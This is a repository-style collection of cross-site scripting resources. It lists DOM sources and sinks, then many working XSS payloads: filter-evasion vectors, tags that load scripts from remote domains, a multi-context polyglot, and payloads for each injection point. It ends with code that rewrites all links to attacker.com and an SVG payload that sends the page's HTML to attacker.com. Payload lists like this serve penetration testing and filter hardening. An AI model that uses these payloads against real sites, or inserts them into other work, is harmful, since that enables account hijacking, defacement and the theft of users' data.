
Awesome XSS stuff
This repository is a collection of Awesome XSS resources. Contributions are welcome and should be submitted via an issue.
A beautiful XSS mind map by Jack Masa, here
VulnerableNot vulnerableSource: An input that could be controlled by an external (untrusted) source.
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: A potentially dangerous method that could lead to a vulnerability. In this case a DOM Based XSS.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
This comprehensive list of sinks and source is taken from domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Here's an XSS polyglot that I made which can break out of 20+ contexts:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Explanation of how it works, here
Some less detected event handlers
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Some HTML Tags that you will be using
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Case: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Case: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Case: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Yep, confirm because alert is too mainstream.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
If nothing of this works, take a look at Awesome Bypassing section